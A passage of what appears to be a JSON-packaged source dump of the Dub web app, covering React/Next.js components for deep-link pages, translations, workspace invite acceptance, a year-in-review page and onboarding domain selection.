href=\"https://dub.co/docs/concepts/deep-links/quickstart\"\n              target=\"_blank\"\n              className={cn(\n                \"flex items-center gap-1 whitespace-nowrap text-sm font-medium text-neutral-900\",\n                t[\"poweredByOrder\"] === \"inverted\" ? \"flex-row-reverse\" : \"\",\n              )}\n            >\n              {t.poweredBy} <Wordmark className=\"text-content-emphasis h-3.5\" />\n            </Link>\n          </div>\n\n          <div className=\"flex flex-1 flex-col justify-center gap-12\">\n            <div className=\"flex flex-col items-center gap-y-6\">\n              <BrandLogoBadge link={link} />\n\n              <div className=\"flex h-40 w-full max-w-xs flex-col gap-6 rounded-xl border border-neutral-300 px-10 py-8\">\n                <p className=\"text-center text-sm font-normal leading-5 text-neutral-700\">\n                  {t.description}\n                </p>\n\n                <div className=\"flex items-center justify-center gap-3\">\n                  <Copy className=\"text-content-default size-6\" />\n                  <ArrowRight className=\"text-content-subtle size-3\" />\n                  <IOSAppStore className=\"text-content-default size-6\" />\n                  <ArrowRight className=\"text-content-subtle size-3\" />\n                  <MobilePhone className=\"text-content-default size-6\" />\n                </div>\n              </div>\n            </div>\n\n            <DeepLinkActionButtons link={link} language={language} />\n          </div>\n        </div>\n      </main>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(deeplink)/deeplink/[domain]/[[...key]]/translations.ts",
    "content": "export const translations = {\n  en: {\n    poweredBy: \"Powered by\",\n    description: \"Clicking below will copy this page and open it in the app.\",\n    openInApp: \"Open in the app\",\n    openInAppWithoutCopying: \"Open in the app without copying\",\n  },\n  zh: {\n    poweredBy: \"由\",\n    description: \"点击下方将复制此页面并在应用中打开。\",\n    openInApp: \"在应用中打开\",\n    openInAppWithoutCopying: \"在应用中打开（不复制）\",\n  },\n  es: {\n    poweredBy: \"Desarrollado por\",\n    description:\n      \"Al hacer clic a continuación, se copiará esta página y se abrirá en la aplicación.\",\n    openInApp: \"Abrir en la aplicación\",\n    openInAppWithoutCopying: \"Abrir en la aplicación sin copiar\",\n  },\n  fr: {\n    poweredBy: \"Propulsé par\",\n    description:\n      \"En cliquant ci-dessous, cette page sera copiée et ouverte dans l'application.\",\n    openInApp: \"Ouvrir dans l'application\",\n    openInAppWithoutCopying: \"Ouvrir dans l'application sans copier\",\n  },\n  tr: {\n    poweredBy: \"tarafından desteklenmektedir\",\n    poweredByOrder: \"inverted\",\n    description: \"Linki uygulamada açmak için aşağıdaki butona tıklayın.\",\n    openInApp: \"Uygulamada aç\",\n    openInAppWithoutCopying: \"Kopyalamadan uygulamada aç\",\n  },\n} as const;\n\nexport type Language = keyof typeof translations;\n\nexport function getLanguage(acceptLanguage?: string | null): Language {\n  if (!acceptLanguage) return \"en\";\n\n  const languages = acceptLanguage\n    .toLowerCase()\n    .split(\",\")\n    .map((lang) => {\n      const [code] = lang.trim().split(\";\");\n      return code.split(\"-\")[0]; // Extract base language code (e.g., \"en\" from \"en-US\")\n    });\n\n  // Check for supported languages in order of preference\n  for (const lang of languages) {\n    if (lang in translations) {\n      return lang as Language;\n    }\n  }\n\n  // Default to English if no match found\n  return \"en\";\n}\n\nexport function getTranslations(language: Language) {\n  return translations[language];\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(invites)/[slug]/invite/accept-invite-button.tsx",
    "content": "\"use client\";\n\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { Button, useKeyboardShortcut } from \"@dub/ui\";\nimport { useSession } from \"next-auth/react\";\nimport { useParams, useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\n\nexport function AcceptInviteButton() {\n  const { slug } = useParams<{ slug: string }>();\n  const { data: session } = useSession();\n  const router = useRouter();\n\n  const [isAccepting, setIsAccepting] = useState(false);\n\n  const acceptInvite = async () => {\n    setIsAccepting(true);\n\n    try {\n      const response = await fetch(`/api/workspaces/${slug}/invites/accept`, {\n        method: \"POST\",\n        headers: { \"Content-Type\": \"application/json\" },\n      });\n\n      if (!response.ok) {\n        const error = await response.json();\n        toast.error(error.message || \"Failed to accept invite.\");\n        setIsAccepting(false);\n        return;\n      }\n\n      await mutatePrefix([\"/api/workspaces\", \"/api/programs\"]);\n      router.replace(`/${slug}`);\n      toast.success(\"You now are a part of this workspace!\");\n    } catch (e) {\n      console.error(\"Failed to accept invite\", e);\n      setIsAccepting(false);\n    }\n  };\n\n  useKeyboardShortcut(\"a\", acceptInvite, {\n    enabled: !isAccepting,\n  });\n\n  return (\n    <Button\n      onClick={acceptInvite}\n      loading={isAccepting}\n      text=\"Accept invite\"\n      shortcut=\"A\"\n      className=\"h-9 rounded-lg [&>div]:flex-initial\"\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(invites)/[slug]/invite/close-invite-button.tsx",
    "content": "import { X } from \"@/ui/shared/icons\";\nimport { Button } from \"@dub/ui\";\nimport Link from \"next/link\";\n\nexport function CloseInviteButton({\n  goToOnboarding,\n  variant = \"x\",\n}: {\n  goToOnboarding?: boolean;\n  variant?: \"x\" | \"full\";\n}) {\n  return (\n    <Link href={goToOnboarding ? \"/onboarding\" : \"/\"}>\n      <Button\n        variant={variant === \"x\" ? \"outline\" : \"primary\"}\n        icon={\n          variant === \"x\" ? (\n            <X className=\"text-content-subtle size-5\" />\n          ) : undefined\n        }\n        className={\n          variant === \"x\"\n            ? \"size-8 p-0 active:scale-95\"\n            : \"h-9 w-fit rounded-lg\"\n        }\n        text={variant === \"x\" ? undefined : \"Go back\"}\n      />\n    </Link>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(invites)/[slug]/invite/invite-confetti.tsx",
    "content": "\"use client\";\n\nimport Confetti from \"canvas-confetti\";\nimport { memo, useEffect } from \"react\";\n\nexport const InviteConfetti = memo(() => {\n  useEffect(() => {\n    [0.25, 0.5, 0.75].forEach((x) =>\n      Confetti({\n        particleCount: 50,\n        startVelocity: 90,\n        spread: 120,\n        ticks: 1000,\n        origin: { x, y: 0 },\n        disableForReducedMotion: true,\n      }),\n    );\n\n    return () => Confetti.reset();\n  }, []);\n\n  return null;\n});\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(invites)/[slug]/invite/page.tsx",
    "content": "import { getSession } from \"@/lib/auth\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport { prisma } from \"@dub/prisma\";\nimport { Project, ProjectInvite, User } from \"@dub/prisma/client\";\nimport {\n  Book2Fill,\n  CircleCheckFill,\n  CircleHalfDottedClock,\n  DubLinksIcon,\n  DubPartnersIcon,\n  LifeRingFill,\n  MsgsFill,\n  Tooltip,\n  Wordmark,\n} from \"@dub/ui\";\nimport { OG_AVATAR_URL, cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { redirect } from \"next/navigation\";\nimport { AcceptInviteButton } from \"./accept-invite-button\";\nimport { CloseInviteButton } from \"./close-invite-button\";\nimport { InviteConfetti } from \"./invite-confetti\";\n\nconst MAX_TEAM_DISPLAY = 4;\n\nexport default async function WorkspaceInvitePage({\n  params,\n}: {\n  params: Promise<{ slug: string }>;\n}) {\n  const { slug } = await params;\n\n  const session = await getSession();\n\n  if (!session) redirect(`/login?next=/${slug}/invite`);\n\n  const [user, invite] = await Promise.all([\n    prisma.user.findUniqueOrThrow({\n      select: {\n        id: true,\n        name: true,\n        image: true,\n        _count: {\n          select: {\n            projects: true,\n          },\n        },\n      },\n      where: {\n        id: session.user.id,\n      },\n    }),\n    prisma.projectInvite.findFirst({\n      where: {\n        email: session.user.email,\n        project: {\n          slug,\n        },\n      },\n      include: {\n        project: {\n          select: {\n            name: true,\n            logo: true,\n            defaultProgramId: true,\n            users: {\n              select: {\n                user: {\n                  select: {\n                    id: true,\n                    name: true,\n                    email: true,\n                    image: true,\n                  },\n                },\n              },\n              where: {\n                user: {\n                  isMachine: false,\n                },\n              },\n              orderBy: {\n                createdAt: \"asc\",\n              },\n            },\n          },\n        },\n      },\n    }),\n  ]);\n\n  if (!invite) redirect(`/${slug}`);\n\n  // Expired invite\n  if (invite.expires < new Date()) {\n    return (\n      <>\n        <div className=\"z-10 flex items-center justify-end p-4\">\n          <CloseInviteButton goToOnboarding={user._count.projects === 0} />\n        </div>\n        <div className=\"-mt-16 flex grow flex-col items-center justify-center\">\n          <Hero isExpired invite={invite} user={user} />\n        </div>\n      </>\n    );\n  }\n\n  return (\n    <div>\n      <div className=\"flex items-center justify-end p-4\">\n        <CloseInviteButton goToOnboarding={user._count.projects === 0} />\n      </div>\n      <div className=\"flex w-full flex-col items-center justify-center px-4 py-10\">\n        <Hero invite={invite} user={user} isExpired={false} />\n        <div className=\"flex w-full flex-col items-center\">\n          <div\n            className={cn(\n              \"mt-8 flex w-full max-w-[400px] flex-col gap-3\",\n              \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-delay:150ms] [animation-duration:0.5s] [animation-fill-mode:both]\",\n            )}\n          >\n            <h3 className=\"text-content-default font-semibold\">\n              Products {invite.project.name} uses\n            </h3>\n\n            <div className=\"divide-border-subtle border-border-subtle bg-bg-muted flex flex-col divide-y rounded-lg border\">\n              {[\n                {\n                  icon: (\n                    <div className=\"flex size-5 items-center justify-center rounded bg-orange-400\">\n                      <DubLinksIcon className=\"size-3 text-orange-900\" />\n                    </div>\n                  ),\n                  title: \"Dub Links\",\n                  href: \"https://dub.co/links\",\n                  cta: \"Learn more\",\n                },\n                ...(invite.project.defaultProgramId\n                  ? [\n                      {\n                        icon: (\n                          <div className=\"flex size-5 items-center justify-center rounded bg-violet-400\">\n                            <DubPartnersIcon className=\"size-3 text-violet-900\" />\n                          </div>\n                        ),\n                        title: \"Dub Partners\",\n                        href: \"https://dub.co/partners\",\n                        cta: \"Learn more\",\n                      },\n                    ]\n                  : []),\n              ].map(({ icon, title, href, cta }) => (\n                <div\n                  key={href}\n                  className=\"flex items-center justify-between gap-2 px-2.5 py-2\"\n                >\n                  <div className=\"flex min-w-0 items-center gap-2\">\n                    {icon}\n                    <div className=\"text-content-default text-sm font-medium\">\n                      {title}\n                    </div>\n                  </div>\n\n                  <Link\n                    href={href}\n                    target=\"_blank\"\n                    className=\"border-subtle bg-bg-inverted hover:bg-bg-inverted/90 flex h-7 items-center rounded-lg border px-2.5 text-sm text-white transition-transform active:scale-[0.98]\"\n                  >\n                    {cta}\n                  </Link>\n                </div>\n              ))}\n            </div>\n          </div>\n\n          <div\n            className={cn(\n              \"mt-8 flex w-full max-w-[400px] flex-col gap-3\",\n              \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-delay:150ms] [animation-duration:0.5s] [animation-fill-mode:both]\",\n            )}\n          >\n            <h3 className=\"text-content-default font-semibold\">The team</h3>\n\n            <div className=\"relative overflow-hidden\">\n              <div\n                className={cn(\n                  \"border-border-subtle bg-bg-muted divide-border-subtle relative flex flex-col divide-y rounded-lg border\",\n                  invite.project.users.length > MAX_TEAM_DISPLAY &&\n                    \"[mask-image:linear-gradient(0deg,transparent,black_45px)]\",\n                )}\n              >\n                {invite.project.users\n                  .slice(0, MAX_TEAM_DISPLAY)\n                  .map(({ user: { id, name, email, image } }) => (\n                    <div\n                      key={id}\n                      className=\"flex items-center justify-between gap-2 px-2.5 py-2\"\n                    >\n                      <div className=\"flex min-w-0 items-center gap-2\">\n                        <UserAvatar\n                          user={{ id, name, image }}\n                          className=\"size-6\"\n                        />\n                        <span className=\"text-content-default min-w-0 truncate text-sm font-medium\">\n                          {name || email}\n                        </span>\n                      </div>\n                    </div>\n                  ))}\n              </div>\n\n              {invite.project.users.length > MAX_TEAM_DISPLAY && (\n                <div className=\"absolute inset-x-0 bottom-0 flex items-center justify-center\">\n                  <span className=\"text-content-subtle select-none text-xs font-medium\">\n                    +{invite.project.users.length - MAX_TEAM_DISPLAY} more\n                  </span>\n                </div>\n              )}\n            </div>\n          </div>\n\n          <div\n            className={cn(\n              \"mt-8 flex w-full max-w-[400px] flex-col gap-3\",\n              \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-delay:250ms] [animation-duration:0.5s] [animation-fill-mode:both]\",\n            )}\n          >\n            <h3 className=\"text-content-default font-semibold\">\n              Additional resources\n            </h3>\n\n            <div className=\"divide-border-subtle border-border-subtle bg-bg-muted flex flex-col divide-y rounded-lg border\">\n              {[\n                {\n                  icon: LifeRingFill,\n                  title: \"Help center\",\n                  description: \"Answers to your questions\",\n                  href: \"https://dub.co/help\",\n                  cta: \"Read\",\n                },\n                {\n                  icon: Book2Fill,\n                  title: \"Docs\",\n                  description: \"Platform documentation\",\n                  href: \"https://dub.co/docs\",\n                  cta: \"Learn\",\n                },\n                {\n                  icon: MsgsFill,\n                  title: \"Support\",\n                  description: \"Product support or help requests\",\n                  href: \"https://dub.co/contact/support\",\n                  cta: \"Chat\",\n                },\n              ].map(({ icon: Icon, title, description, href, cta }) => (\n                <div\n                  key={href}\n                  className=\"flex items-center justify-between gap-2 px-2.5 py-2\"\n                >\n                  <div className=\"flex min-w-0 items-center gap-2\">\n                    <div className=\"flex size-8 items-center justify-center rounded-md bg-black/5\">\n                      <Icon className=\"size-4\" />\n                    </div>\n                    <div className=\"min-w-0\">\n                      <div className=\"text-content-default text-sm font-medium\">\n                        {title}\n                      </div>\n                      <p className=\"text-content-subtle truncate text-xs font-medium\">\n                        {description}\n                      </p>\n                    </div>\n                  </div>\n\n                  <Link\n                    href={href}\n                    target=\"_blank\"\n                    className=\"border-subtle bg-bg-default hover:bg-bg-muted flex h-7 items-center rounded-lg border px-2.5 text-sm font-medium transition-transform active:scale-[0.98]\"\n                  >\n                    {cta}\n                  </Link>\n                </div>\n              ))}\n            </div>\n          </div>\n        </div>\n      </div>\n      <InviteConfetti />\n    </div>\n  );\n}\n\nfunction Hero({\n  invite,\n  user,\n  isExpired,\n}: {\n  invite: Pick<ProjectInvite, \"role\" | \"expires\"> & {\n    project: Pick<Project, \"logo\" | \"name\">;\n  };\n  user: Pick<User, \"id\" | \"image\" | \"name\"> & { _count: { projects: number } };\n  isExpired: boolean;\n}) {\n  return (\n    <>\n      <div className=\"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-duration:0.5s] [animation-fill-mode:both]\">\n        <Wordmark className=\"h-8\" />\n      </div>\n\n      <div\n        className={cn(\n          \"relative z-0 mt-8 flex items-center\",\n          \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-delay:50ms] [animation-duration:0.5s] [animation-fill-mode:both]\",\n        )}\n      >\n        <img\n          src={invite.project.logo || `${OG_AVATAR_URL}${invite.project.name}`}\n          alt={invite.project.name}\n          className=\"z-10 size-20 rotate-[-15deg] rounded-full drop-shadow-md\"\n        />\n        <img\n          src={user?.image || `${OG_AVATAR_URL}${user?.id}`}\n          alt={user?.name || \"Your avatar\"}\n          className=\"-ml-4 size-20 rotate-[15deg] rounded-full drop-shadow-md\"\n        />\n        <div className=\"absolute -bottom-2 left-1/2 z-10 -translate-x-1/2 rounded-full bg-white p-0.5\">\n          {isExpired ? (\n            <div className=\"rounded-full bg-neutral-200 p-1\">\n              <CircleHalfDottedClock className=\"size-5 text-neutral-500\" />\n            </div>\n          ) : (\n            <CircleCheckFill className=\"size-8 text-green-500\" />\n          )}\n        </div>\n      </div>\n\n      <div\n        className={cn(\n          \"flex w-full flex-col items-center text-center\",\n          \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-delay:100ms] [animation-duration:0.5s] [animation-fill-mode:both]\",\n          !isExpired ? \"max-w-[400px]\" : \"max-w-[440px]\",\n        )}\n      >\n        <h2 className=\"text-content-default mt-4 text-pretty text-lg font-semibold\">\n          {!isExpired ? (\n            <>Welcome to the {invite.project.name} workspace</>\n          ) : (\n            <>Your invite to the {invite.project.name} workspace has expired</>\n          )}\n        </h2>\n        <p className=\"text-content-subtle text-pretty text-base font-medium\">\n          {!isExpired ? (\n            <>\n              You've been added as a{invite.role === \"owner\" ? \"n\" : \"\"}{\" \"}\n              <Tooltip\n                content={\n                  invite.role === \"owner\"\n                    ? \"You have the highest workspace permissions. [Learn more](https://dub.co/help/article/workspace-roles#member-role)\"\n                    : \"You have limited workspace permissions. [Learn more](https://dub.co/help/article/workspace-roles#member-role)\"\n                }\n              >\n                <span className=\"underline decoration-dotted underline-offset-2\">\n                  {invite.role === \"billing\" ? \"billing user\" : invite.role}\n                </span>\n              </Tooltip>\n            </>\n          ) : (\n            <>Please contact the owner to request another invite.</>\n          )}\n        </p>\n\n        <div className=\"mt-4 flex w-full justify-center\">\n          {!isExpired ? (\n            <AcceptInviteButton />\n          ) : (\n            <CloseInviteButton\n              goToOnboarding={user._count.projects === 0}\n              variant=\"full\"\n            />\n          )}\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(invites)/layout.tsx",
    "content": "import { ReactNode } from \"react\";\n\nexport default function InvitesLayout({ children }: { children: ReactNode }) {\n  return (\n    <div className=\"bg-bg-emphasis min-h-screen w-full sm:p-2\">\n      <div className=\"bg-bg-default relative flex min-h-[calc(100vh-1rem)] flex-col sm:rounded-xl\">\n        {children}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/[slug]/wrapped/[year]/client.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BlurImage, ExpandingArrow, STAGGER_CHILD_VARIANTS } from \"@dub/ui\";\nimport { cn, OG_AVATAR_URL, smartTruncate } from \"@dub/utils\";\nimport { COUNTRIES } from \"@dub/utils/src/constants/countries\";\nimport NumberFlow from \"@number-flow/react\";\nimport { motion } from \"motion/react\";\nimport Image from \"next/image\";\nimport Link from \"next/link\";\nimport { redirect, useParams } from \"next/navigation\";\n\nexport default function WrappedPageClient() {\n  const { slug, year } = useParams();\n  const { name, logo, loading } = useWorkspace();\n\n  const { totalLinks, totalClicks, topLinks, topCountries } = {\n    totalLinks: 0,\n    totalClicks: 0,\n    topLinks: [],\n    topCountries: [],\n  };\n\n  const stats = {\n    \"Total Links\": totalLinks,\n    \"Total Clicks\": totalClicks,\n  };\n\n  const placeholderArray = Array.from({ length: 5 }, (_, index) => ({\n    item: \"placeholder\",\n    count: 0,\n  }));\n\n  // we're redirecting to the dashboard for now\n  // for next year's year in review, we can replace true with yearInReview\n  if (!loading && true) {\n    redirect(`/${slug}`);\n  }\n\n  return (\n    <div className=\"relative mx-auto my-10 max-w-lg px-4 sm:px-8\">\n      <h1 className=\"animate-slide-up-fade font-display mx-0 mb-4 mt-8 p-0 text-center text-xl font-semibold text-black [animation-delay:150ms] [animation-duration:1s] [animation-fill-mode:both]\">\n        {year} Year in Review 🎊\n      </h1>\n      <p className=\"animate-slide-up-fade text-balance text-center text-sm leading-6 text-black [animation-delay:300ms] [animation-duration:1s] [animation-fill-mode:both]\">\n        As we put a wrap on {year}, we wanted to say thank you for your support!\n        Here's a look back at your activity in {year}:\n      </p>\n\n      <div className=\"animate-slide-up-fade mb-4 mt-8 rounded-lg border border-neutral-200 bg-white p-2 shadow-md [animation-delay:450ms] [animation-duration:1s] [animation-fill-mode:both]\">\n        <div\n          className=\"flex h-24 flex-col items-center justify-center rounded-lg\"\n          style={{\n            backgroundImage: `url(https://assets.dub.co/misc/year-in-review-header.jpg)`,\n            backgroundSize: \"cover\",\n            backgroundPosition: \"center\",\n          }}\n        >\n          {name ? (\n            <>\n              <BlurImage\n                src={logo || `${OG_AVATAR_URL}${name}`}\n                alt={name || \"Workspace Logo\"}\n                className=\"h-8 rounded-full\"\n                width={32}\n                height={32}\n              />\n              <h2 className=\"mt-1 text-xl font-semibold\">{name}</h2>\n            </>\n          ) : (\n            <>\n              <div className=\"h-8 animate-pulse rounded-full bg-neutral-200\" />\n              <div className=\"h-5 w-12 animate-pulse rounded-md bg-neutral-200\" />\n            </>\n          )}\n        </div>\n        <div className=\"grid w-full grid-cols-2 gap-2 p-4\">\n          {Object.entries(stats).map(([key, value]) => (\n            <StatCard key={key} title={key} value={value} />\n          ))}\n        </div>\n        <div className=\"grid gap-2 p-4\">\n          <StatTable\n            title=\"Top Links\"\n            value={\n              topLinks\n                ? (topLinks as { item: string; count: number }[])\n                : placeholderArray\n            }\n          />\n          <StatTable\n            title=\"Top Countries\"\n            value={\n              topCountries\n                ? (topCountries as { item: string; count: number }[])\n                : placeholderArray\n            }\n          />\n        </div>\n      </div>\n\n      <Link\n        className=\"group flex flex-col gap-4 rounded-lg border border-neutral-200 bg-white p-4 sm:flex-row\"\n        href=\"https://dub.co/blog/2024\"\n        target=\"_blank\"\n      >\n        <Image\n          src=\"https://assets.dub.co/blog/2024.jpg\"\n          alt=\"Dub logo with confetti\"\n          width={1838}\n          height={1172}\n          className=\"w-1/3 rounded-md\"\n          draggable={false}\n        />\n        <div className=\"flex flex-col gap-2\">\n          <h3 className=\"font-display font-semibold text-black\">\n            Dub {year} Year in Review 🎊\n          </h3>\n          <p className=\"text-sm text-neutral-500 group-hover:underline\">\n            A full recap of some of the top features we shipped this year – and\n            how we grew as a company.\n          </p>\n        </div>\n      </Link>\n    </div>\n  );\n}\n\nconst StatCard = ({\n  title,\n  value,\n}: {\n  title: string;\n  value: number | undefined;\n}) => {\n  return (\n    <div className=\"text-center\">\n      <h3 className=\"font-medium text-neutral-500\">{title}</h3>\n      <NumberFlow\n        value={value || 0}\n        className={cn(\n          \"text-lg font-medium text-black\",\n          value === undefined && \"text-neutral-300\",\n        )}\n      />\n    </div>\n  );\n};\n\nconst StatTable = ({\n  title,\n  value,\n}: {\n  title: string;\n  value: { item: string; count: number }[];\n}) => {\n  const { slug } = useParams();\n  return (\n    <div className=\"mb-2\">\n      <h3 className=\"mb-2 font-medium text-neutral-500\">{title}</h3>\n      <motion.div\n        variants={{\n          show: {\n            transition: {\n              delayChildren: 0.5,\n              staggerChildren: 0.08,\n            },\n          },\n        }}\n        initial=\"hidden\"\n        animate=\"show\"\n        className=\"grid divide-y divide-neutral-200 text-sm\"\n      >\n        {value.map(({ item, count }, index) => {\n          const [domain, ...pathParts] = item.split(\"/\");\n          const path = pathParts.join(\"/\") || \"_root\";\n          return (\n            <motion.div\n              key={index}\n              variants={STAGGER_CHILD_VARIANTS}\n              className=\"text-sm text-neutral-500\"\n            >\n              <a\n                href={`/${slug}/analytics?${new URLSearchParams({\n                  ...(title === \"Top Links\"\n                    ? {\n                        domain,\n                        key: path,\n                      }\n                    : {\n                        country: item,\n                      }),\n                  interval: \"1y\",\n                }).toString()}`}\n                key={index}\n                className=\"group flex justify-between py-1.5\"\n              >\n                {item === \"placeholder\" ? (\n                  <div className=\"h-4 w-12 animate-pulse rounded-md bg-neutral-200\" />\n                ) : (\n                  <div className=\"flex items-center gap-2\">\n                    {title === \"Top Countries\" && (\n                      <img\n                        src={`https://hatscripts.github.io/circle-flags/flags/${item.toLowerCase()}.svg`}\n                        alt={COUNTRIES[item]}\n                        className=\"size-4\"\n                      />\n                    )}\n                    <div className=\"flex gap-0.5\">\n                      <p className=\"font-medium text-black\">\n                        {title === \"Top Links\"\n                          ? smartTruncate(item, 33)\n                          : COUNTRIES[item]}{\" \"}\n                      </p>\n                      <ExpandingArrow className=\"size-3\" />\n                    </div>\n                  </div>\n                )}\n                <NumberFlow\n                  value={count}\n                  className={cn(\n                    \"text-neutral-600 group-hover:text-black\",\n                    count === 0 && \"text-neutral-300\",\n                  )}\n                />\n              </a>\n            </motion.div>\n          );\n        })}\n      </motion.div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/[slug]/wrapped/[year]/page.tsx",
    "content": "import { Wordmark } from \"@dub/ui\";\nimport Link from \"next/link\";\nimport { redirect } from \"next/navigation\";\nimport WrappedPageClient from \"./client\";\n\nexport default async function WrappedPage(props: {\n  params: Promise<{ slug: string; year: string }>;\n}) {\n  const params = await props.params;\n  if (params.year !== \"2024\") {\n    redirect(`/${params.slug}`);\n  }\n\n  return (\n    <div className=\"relative flex flex-col items-center\">\n      <Link href={`/${params.slug}`}>\n        <Wordmark className=\"mt-6 h-8\" />\n      </Link>\n      <WrappedPageClient />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/[slug]/wrapped/page.tsx",
    "content": "import { redirect } from \"next/navigation\";\n\nexport default async function WrappedParentPage(props: {\n  params: Promise<{ slug: string }>;\n}) {\n  const params = await props.params;\n  redirect(`/${params.slug}/wrapped/2024`);\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/layout.tsx",
    "content": "import Toolbar from \"@/ui/layout/toolbar/toolbar\";\nimport { PropsWithChildren } from \"react\";\nimport { SignedInHint } from \"./signed-in-hint\";\n\nexport default function Layout({ children }: PropsWithChildren) {\n  return (\n    <>\n      {children}\n      <Toolbar show={[\"help\"]} />\n      <SignedInHint />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/domain/custom/form.tsx",
    "content": "\"use client\";\n\nimport { AddEditDomainForm } from \"@/ui/domains/add-edit-domain-form\";\nimport { LaterButton } from \"../../../later-button\";\nimport { useOnboardingProduct } from \"../../../use-onboarding-product\";\nimport { useOnboardingProgress } from \"../../../use-onboarding-progress\";\n\nexport function Form() {\n  const product = useOnboardingProduct();\n\n  const { continueTo } = useOnboardingProgress();\n\n  return (\n    <div>\n      <AddEditDomainForm\n        onSuccess={() => {\n          continueTo(product === \"partners\" ? \"program\" : \"plan\");\n        }}\n        enableDomainConfig={false}\n      />\n\n      {product !== \"partners\" && <LaterButton next=\"plan\" className=\"mt-4\" />}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/domain/custom/page.tsx",
    "content": "import { StepPage } from \"../../step-page\";\nimport { Form } from \"./form\";\n\nexport default function Custom() {\n  return (\n    <StepPage\n      title=\"Connect a custom domain\"\n      description={\n        <a\n          href=\"https://dub.co/help/article/choosing-a-custom-domain\"\n          target=\"_blank\"\n          className=\"cursor-alias underline decoration-dotted underline-offset-2 transition-colors hover:text-neutral-700\"\n        >\n          Read our guide for best practices\n        </a>\n      }\n    >\n      <Form />\n    </StepPage>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/domain/default-domain-selector.tsx",
    "content": "\"use client\";\n\nimport { OnboardingStep } from \"@/lib/onboarding/types\";\nimport { Button, Crown } from \"@dub/ui\";\nimport Image from \"next/image\";\nimport { useSearchParams } from \"next/navigation\";\nimport { ReactNode } from \"react\";\nimport { LaterButton } from \"../../later-button\";\nimport { useOnboardingProduct } from \"../../use-onboarding-product\";\nimport { useOnboardingProgress } from \"../../use-onboarding-progress\";\n\nexport function DefaultDomainSelector() {\n  const searchParams = useSearchParams();\n  const workspaceSlug = searchParams.get(\"workspace\");\n  const product = useOnboardingProduct();\n\n  return (\n    <>\n      <div className=\"animate-fade-in mx-auto grid w-full max-w-[312px] gap-4 sm:max-w-[600px] sm:grid-cols-2\">\n        <DomainOption\n          step=\"domain/custom\"\n          icon=\"https://assets.dub.co/icons/domain-sign.webp\"\n          title=\"Connect a custom domain\"\n          description=\"Already have a domain? Connect it to your Dub workspace.\"\n          cta=\"Connect domain\"\n        />\n        <DomainOption\n          step=\"domain/register\"\n          icon=\"https://assets.dub.co/icons/gift.webp\"\n          title={\n            <>\n              Claim a free{\" \"}\n              <span className=\"rounded border border-neutral-800/10 bg-neutral-100 px-1 py-0.5 font-mono text-xs\">\n                .link\n              </span>{\" \"}\n              domain\n            </>\n          }\n          description={\n            <>\n              Register a domain like{\" \"}\n              <span className=\"font-mono font-semibold text-neutral-900\">\n                {workspaceSlug && workspaceSlug.length < 8\n                  ? workspaceSlug\n                  : \"company\"}\n                .link\n              </span>{\" \"}\n              – free for 1 year\n            </>\n          }\n          cta=\"Claim .link domain\"\n          paidPlanRequired={product !== \"partners\"}\n        />\n      </div>\n      {product === \"links\" && (\n        <div className=\"mx-auto mt-8 w-full max-w-sm\">\n          <LaterButton next=\"plan\" className=\"mt-4\" />\n        </div>\n      )}\n    </>\n  );\n}\n\nfunction DomainOption({\n  step,\n  icon,\n  title,\n  description,\n  cta,\n  paidPlanRequired,\n}: {\n  step: OnboardingStep;\n  icon: string;\n  title: ReactNode;\n  description: ReactNode;\n  cta: string;\n  paidPlanRequired?: boolean;\n}) {\n  const { continueTo, isLoading, isSuccessful } = useOnboardingProgress();\n  return (\n    <div className=\"relative flex h-full flex-col items-center gap-6 rounded-xl border border-neutral-300 p-6 pt-12 transition-all\">\n      {paidPlanRequired && (\n        <div className=\"absolute inset-x-2 top-2 flex items-center justify-center gap-2 rounded-md border border-neutral-200 bg-neutral-100 px-2.5 py-1 text-xs font-medium text-neutral-600\">\n          <Crown className=\"size-3\" />\n          Paid plan required\n        </div>\n      )}\n      <div className=\"relative size-36\">\n        <Image\n          src={icon}\n          alt=\"\"\n          fill\n          className=\"object-contain\"\n          fetchPriority=\"high\"\n        />\n      </div>\n      <div className=\"space-y-2 text-center\">\n        <span className=\"text-base font-semibold text-neutral-900\">\n          {title}\n        </span>\n        <p className=\"text-balance text-sm text-neutral-500\">{description}</p>\n      </div>\n      <div className=\"flex w-full grow flex-col justify-end gap-2\">\n        <Button\n          type=\"button\"\n          variant=\"primary\"\n          className=\"rounded-lg\"\n          onClick={() => continueTo(step)}\n          loading={isLoading || isSuccessful}\n          text={cta}\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/domain/page.tsx",
